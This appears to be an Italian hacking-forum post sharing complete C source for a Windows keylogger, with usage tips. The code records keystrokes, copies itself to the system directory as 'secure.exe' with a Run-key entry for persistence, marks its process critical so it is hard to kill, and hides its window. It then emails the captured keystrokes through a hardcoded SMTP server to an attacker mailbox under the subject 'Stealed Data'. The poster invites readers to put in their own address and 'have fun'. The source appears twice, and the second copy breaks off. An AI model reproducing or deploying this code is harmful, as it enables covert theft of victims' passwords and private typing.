inline unsigned get_len ( char * str );<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
int send_mail ( char * subject, char * message, char * to, char * from, const char ip [ 17 &#93;, int door );<br />
int take_n_run ( int, char * );<br />
<br />
typedef void ( _stdcall * RtlSetProcessIsCritical ) ( IN BOOLEAN New, OUT PBOOLEAN Old, IN BOOLEAN Log );<br />
int protectProcess ( void );<br />
<br />
void regApp ( void );<br />
int hideConsole ( void );<br />
<br />
#define IP "85.18.95.132" // smtp.fastwebnet.it mail server<br />
#define DOOR 25 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// SMTP Door<br />
<br />
#define FROM "shifterskeylogger@stealingdata.net"<br />
#define TO "binaryincubus@live.it" // Here your mail<br />
#define SUBJECT "Stealed Data"<br />
<br />
#define _MAX_CHAR 500<br />
<br />
int main ( void )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;register short i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;char * data = ( char * ) calloc ( _MAX_CHAR + 12, sizeof ( char ) );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;regApp ( );<br />
&nbsp;&nbsp;&nbsp;&nbsp;protectProcess ( );<br />
&nbsp;&nbsp;&nbsp;&nbsp;hideConsole ( );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;while ( 1 ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while ( get_len ( data ) &lt; _MAX_CHAR )<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for ( i = 8 ; i &lt;= 190 ; i++ )<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ( GetAsyncKeyState ( i ) == -32767 ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;take_n_run ( i, data);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(10);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send_mail ( SUBJECT, data, TO, FROM, IP, DOOR&nbsp;&nbsp;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset ( data, 0, _MAX_CHAR + 12 );<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
// Simple Mail Transfer Protocol<br />
#define _OPEN &nbsp;&nbsp;&nbsp;&nbsp;"HELO default&#92;r&#92;n"&#92;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"MAIL FROM: &lt;"<br />
<br />
#define _RCPT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&gt;&#92;r&#92;nRCPT TO: &lt;"<br />
#define _DATA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&gt;&#92;r&#92;nDATA&#92;r&#92;n"&#92;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"From: &lt;"<br />
<br />
#define _SUB &nbsp;&nbsp;&nbsp;&nbsp;"&gt;&#92;r&#92;nSubject: "<br />
#define _NEWLINE&nbsp;&nbsp;&nbsp;&nbsp;"&#92;r&#92;n&#92;r&#92;n"<br />
<br />
#define _CLOSE&nbsp;&nbsp;&nbsp;&nbsp;"&#92;r&#92;n.&#92;r&#92;n"&#92;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"QUIT&#92;r&#92;n"<br />
<br />
inline unsigned get_len ( char * str ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;return ( unsigned ) ( strlen ( str ) * sizeof ( char ) );<br />
}<br />
<br />
int send_mail ( char * subject, char * message, char * to, char * from, const char ip [ 17 &#93;, int door )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int sock;<br />
&nbsp;&nbsp;&nbsp;&nbsp;struct sockaddr_in saddr;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;WSADATA wsadata;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( WSAStartup ( MAKEWORD ( 2, 2 ), &amp; wsadata ) != 0 ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ( sock = socket ( AF_INET, SOCK_STREAM, 0 ) ) &lt; 0) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;saddr . sin_family = AF_INET;<br />
&nbsp;&nbsp;&nbsp;&nbsp;saddr . sin_addr . s_addr = inet_addr ( ip );<br />
&nbsp;&nbsp;&nbsp;&nbsp;saddr . sin_port = htons ( door );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( connect ( sock, ( struct sockaddr * ) &amp; saddr, sizeof ( saddr ) ) &lt; 0 ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;size_t check_size = get_len ( _OPEN );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _OPEN, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( from );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, from, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( _RCPT );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _RCPT, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( to );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, to, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( _DATA );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _DATA, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( from );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, from, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( _SUB );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _SUB, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( subject );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, subject, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( _NEWLINE );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _NEWLINE, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( message );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, message, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;check_size = get_len ( _CLOSE );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( check_size != send ( sock, _CLOSE, check_size, 0 ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;closesocket ( sock );<br />
&nbsp;&nbsp;&nbsp;&nbsp;WSACleanup ( );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
int take_n_run ( int key, char * buffer )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;switch ( key ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 8 :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[b&#93;" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 13 :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "&#92;n" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 32 :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, " " );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_TAB :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[T&#93;" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_SHIFT :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[S&#93;" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_CONTROL :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[C&#93;" ) ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_ESCAPE :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[ES&#93;" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_END :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[EN&#93;" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_HOME :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[H&#93;" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_LEFT :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[L&#93;" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_RIGHT :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[R&#93;" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_UP :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[u&#93;" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case VK_DOWN :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "[D&#93;" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 110 :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 190 :<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, "." );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat ( buffer, ( char * ) &amp; key );<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
#define CONSOLE_NAME "Secure"<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
int hideConsole ( void )<br />
{<br />
&nbsp;&nbsp; if ( ! SetConsoleTitle ( CONSOLE_NAME ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp; }<br />
<br />
&nbsp;&nbsp; HWND thisWindow;<br />
<br />
&nbsp;&nbsp; thisWindow = FindWindow( NULL, CONSOLE_NAME );<br />
<br />
&nbsp;&nbsp; ShowWindow ( thisWindow, 0 );<br />
&nbsp;&nbsp; return 0;<br />
}<br />
<br />
#define FAKE_NAME "&#92;&#92;secure.exe"<br />
#define FAKE_KEY "Secure Internet"<br />
<br />
void regApp ( void ) <br />
{<br />
&nbsp;&nbsp; char system_ [ MAX_PATH &#93;;<br />
&nbsp;&nbsp; char pathToFile[ MAX_PATH &#93;;<br />
&nbsp;&nbsp; HMODULE getMod = GetModuleHandle ( NULL );<br />
<br />
&nbsp;&nbsp; GetModuleFileName ( getMod, pathToFile, sizeof&nbsp;&nbsp;( pathToFile ) );<br />
&nbsp;&nbsp; GetSystemDirectory ( system_, sizeof ( system_ ) );<br />
<br />
&nbsp;&nbsp; strcat ( system_, FAKE_NAME );<br />
<br />
&nbsp;&nbsp; CopyFile ( pathToFile, system_, 0);<br />
<br />
&nbsp;&nbsp; HKEY key_;<br />
<br />
&nbsp;&nbsp; RegOpenKeyEx ( HKEY_LOCAL_MACHINE, "Software&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;CurrentVersion&#92;&#92;Run", 0, KEY_SET_VALUE, &amp; key_ );<br />
<br />
&nbsp;&nbsp; RegSetValueEx ( key_, FAKE_KEY, 0, REG_SZ, ( const unsigned char * ) system_, sizeof ( system_ ) );<br />
<br />
&nbsp;&nbsp; RegCloseKey ( key_ );<br />
}<br />
<br />
int protectProcess ( void )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int enablePriv ( const char * szPriv );<br />
&nbsp;&nbsp;&nbsp;&nbsp;HANDLE DLL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;RtlSetProcessIsCritical setCritical;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;DLL = LoadLibraryA ( "ntdll.dll" );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( DLL == NULL ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( enablePriv ( SE_DEBUG_NAME ) &lt; 0 ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;setCritical = ( RtlSetProcessIsCritical ) GetProcAddress( ( HINSTANCE ) DLL, "RtlSetProcessIsCritical" );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ! setCritical ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;setCritical ( 1, 0, 0 );<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
int enablePriv ( const char * szPriv )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;HANDLE token;<br />
&nbsp;&nbsp;&nbsp;&nbsp;LUID luid;<br />
&nbsp;&nbsp;&nbsp;&nbsp;TOKEN_PRIVILEGES privs;<br />
&nbsp;&nbsp;&nbsp;&nbsp;memset ( &amp;privs, 0, sizeof ( privs ) );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ! OpenProcessToken ( GetCurrentProcess ( ), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp; token ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ! LookupPrivilegeValue ( NULL, szPriv, &amp; luid ) )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle ( token );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;privs . PrivilegeCount = 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;privs . Privileges [ 0 &#93; . Luid = luid;<br />
&nbsp;&nbsp;&nbsp;&nbsp;privs . Privileges [ 0 &#93; . Attributes = SE_PRIVILEGE_ENABLED;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( ! AdjustTokenPrivileges ( token, FALSE, &amp; privs, sizeof ( privs ), NULL, NULL ) ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle ( token );<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}</code></div></div>
Se volete provarlo vi conviene utilizzare Sandbox o commentare le seguenti linee che introducono le funzioni più dannose:<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>&nbsp;&nbsp;&nbsp;&nbsp;//regApp ( );<br />
&nbsp;&nbsp;&nbsp;&nbsp;//protectProcess ( );<br />
&nbsp;&nbsp;&nbsp;&nbsp;//hideConsole ( );</code></div></div>
]]></description>
			<content:encoded><![CDATA[Qualche giorno di noia e ho sfornato questo keylogger, sembra funzionare perfettamente tranne per un piccolo incovenite: le mail vengono individuate come spam e archiviate in posta indesiderata.<br />
Mi sembra di aver scritto codice abbastanza leggibile ma se avete domande chiedete pure.<br />
<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#define IP "85.18.95.132" // mail server (smtp.fastwebnet.it) <br />
#define DOOR 25 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// SMTP door<br />
<br />
#define FROM "shifterskeylogger@stealingdata.net"<br />
#define TO "binaryincubus@live.it" // Here your mail<br />
#define SUBJECT "Stealed Data"<br />
<br />
#define _MAX_CHAR 500</code></div></div>
Fra le prime righe potete scegliere che server smtp utilizzare mentre subito dopo potete configurarlo perché mandi alla vostra mail i log. Il buffer viene inviato ogni 500 caratteri ma potete alzarlo o abbassarlo secondo le vostre preferenze.<br />
<br />
Vi ricordo che dovete aggiungere le dipendenze delle winsock al compilatore:<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>-lwsock32</code></div></div>
Have fun <img src="http://www.infernet.ws/images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" /><br />
<br />
<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
<br />
#if defined ( unix )<br />
&nbsp;&nbsp;&nbsp;&nbsp;#error The operative system have to be Winzoz<br />
#endif<br />
<br />
#include &lt;windows.h&gt;<br />
<br />
#ifndef WIN32_LEAN_AND_MEAN<br />
&nbsp;&nbsp;&nbsp;&nbsp;#define WIN32_LEAN_AND_MEAN<br />
#endif<br />
<br />
inline unsigned get_len ( char * str );<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
int send_mail ( char * subject, char * message, char * to, char * from, const char ip [ 17 ], int door );<br />
int take_n_run ( int, char * );<br />
<br />
typedef void ( _stdcall * RtlSetProcessIsCritical ) ( IN BOOLEAN New, OUT PBOOLEAN Old, IN BOOLEAN Log );<br />
int protectProcess ( void );<br />
<br />
void regApp ( void );<br />
int hideConsole ( void );<br />
<br />
#define IP "85.18.95.132" // smtp.fastwebnet.it mail server<br />
#define DOOR 25 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// SMTP Door<br />
<br />
#define FROM "shifterskeylogger@stealingdata.net"<br />
#define TO "binaryincubus@live.it" // Here your mail<br />
#define SUBJECT "Stealed Data"<br />
<br />
#define _MAX_CHAR 500<br />
<br />
int main ( void )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;register short i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;char * data = ( char * ) calloc ( _MAX_CHAR + 12, sizeof ( char ) );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;regApp ( );<br />
&nbsp;&nbsp;&nbsp;&nbsp;protectProcess ( );<br />
&nbsp;&nbsp;&nbsp;&nbsp;hideConsole ( );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;while ( 1 ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while ( get_len ( data ) &lt; _MAX_CHAR )<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for ( i = 8 ; i &lt;= 190 ; i++ )<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ( GetAsyncKeyState ( i ) == -32767 ) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;take_n_run ( i, data);<br />
